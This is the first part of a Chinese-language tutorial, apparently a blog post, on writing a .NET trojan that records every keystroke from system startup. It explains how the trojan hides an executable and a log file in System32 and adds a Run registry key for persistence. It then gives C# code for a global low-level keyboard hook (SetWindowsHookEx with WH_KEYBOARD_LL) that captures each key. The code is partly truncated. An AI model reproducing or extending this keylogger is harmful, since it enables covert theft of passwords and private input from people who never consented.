.net木马的实现-开机键盘记录
1 Hook类的实现
网上这方面的内容很多,但大多没给出全部代码或者没有完整实现木马功能,这篇文章可能会有所帮助.我给出完整的代码不是提倡使用木马,只是在技术的谈论.
首先,这是一个较为完整的木马程序,运行或编译后会在System32下建一个名为keyReport.txt的文本文件用来记录所有按键消息,并且在System32下会有一个名为_system.exe木马主体.在注册表CurrentUser,Software\\Microsoft\\Windows\\CurrentVersion\\run的位置会叫上一个启动项,运行和编译请注意.
整个程序包含了4个类,From1,Hook, RegistryReport, Report.
Hook类返回一个键盘按下事件KeyboardEvent,并把按下键的信息发送给From1类,From1捕获到事件后,在调用Report类的WriteDate方法,写入文本文件,而RegistryReport负责在启动是向注册表添加信息.
我们先来说HOOK类.
木马不外呼就是获取键盘消息,这就要使用到HOOK技术,既键盘钩子.HOOK技术的资料网上也有很多,大家可以找来看,我这里就不详细说名了.
//安装钩子
public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);
//调用下一个钩子
public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);
//卸载钩子
public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
//钩子类型
WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_KEYBOARD = 2,
WH_GETMESSAGE = 3,
WH_CALLWNDPROC = 4,
WH_CBT = 5,
WH_SYSMSGFILTER = 6,
WH_MOUSE = 7,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
WH_FOREGROUNDIDLE = 11,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD_LL = 13,
WH_MOUSE_LL = 14,
WH_MSGFILTER = -1,
}
首先在定义一个全局委托,这里说全局其实是不大合适的.
这就是键盘事件句柄,有2个参数KeyboardEvents和Keys,
KeyDown = 0x0100,
KeyUp = 0x0101,
SystemKeyDown = 0x0104,
SystemKeyUp = 0x0105
}
KeyboardEvents结构定义了键盘消息的状态,是按下还是抬起.而System.Windows.Forms.Keys指示是哪一个键.
我们先来看看HOOK类的构造函数.
private IntPtr instance; //当前实例的句柄
private IntPtr hookHandle; //钩子的句柄
private int threadID; //要挂钩的线程句柄
private HookProc hookProcEx;//hook委托
public event KeyboardEventHandler KeyboardEvent; //自定义键盘事件
this.instance =
Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);//反射当前的实例
this.threadID = 0; //由于是全局钩子, threadID参数为0
hookHandle = IntPtr.Zero; //暂时初始化为IntPtr.Zero
hookProcEx = new HookProc(hookProc); //实例化钩子委托,既钩子回调函数指针
}
在构造函数中我们初始化了一些字段,现在来看看HOOK类是如何捕获键盘消息并产生事件的.其中有2个函数共外部调用public bool SetHook(),public bool UnHook();一个是安装钩子,一个是卸载钩子.
this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);
return ((int)hookHandle != 0);
}
SetWindowsHookEx函数成功后,返回一个非零钩子句柄给hookHandle.在SetWindowsHookEx中将回调hookProcEx委托,他在先前hookProcEx = new HookProc(hookProc);于是当有键盘消息时他将执行
if(code >= 0){
KeyboardEvents kEvent = (KeyboardEvents)wParam;
//如果事件不是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp
//执行CallNextHookEx,调用下一个钩子.
if (kEvent != KeyboardEvents.KeyDown &&
kEvent != KeyboardEvents.KeyUp &&
kEvent != KeyboardEvents.SystemKeyDown &&
kEvent != KeyboardEvents.SystemKeyUp) {
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
//如果是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp
//则执行以下的,我们把lParam参数映射到一个KeyboardHookStruct结构中
KeyboardHookStruct MyKey = new KeyboardHookStruct();
Type t = MyKey.GetType();
MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);
Keys keyData=(Keys)MyKey.vkCode;
//产生键盘事件
KeyboardEvent(kEvent, keyData);
}
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
KeyboardHookStruct结构如下
public struct KeyboardHookStruct{
public int vkCode; //表示一个在1到254间的虚似键盘码
public int scanCode; //表示硬件扫描码
public int flags;
public int time;
public int dwExtraInfo;
}
Marshal.PtrToStructure这个方法可以把非托管的变量转换为一个托管的变量.参数中要给出托管变量的类型(TYPE). 于是我们可以通过这种方式看到键盘消息中的虚拟键码MyKey.vkCode;
Keys keyData=(Keys)MyKey.vkCode;
通过上面的方式,转换成System.Windows.Forms.Keys枚举.
得到键盘消息后,我们就把键盘消息封装在一个叫做KeyboardHookStruct kEvent的结构里,并产生事件.
KeyboardEvent(kEvent, keyData);
就这样一个键盘事件就发送出去了.
最后还有卸载钩子.
return Hook.UnhookWindowsHookEx(this.hookHandle);
}
这就是HOOK类的实现.我们在来看看From1是怎么捕获到键盘事件并处理的.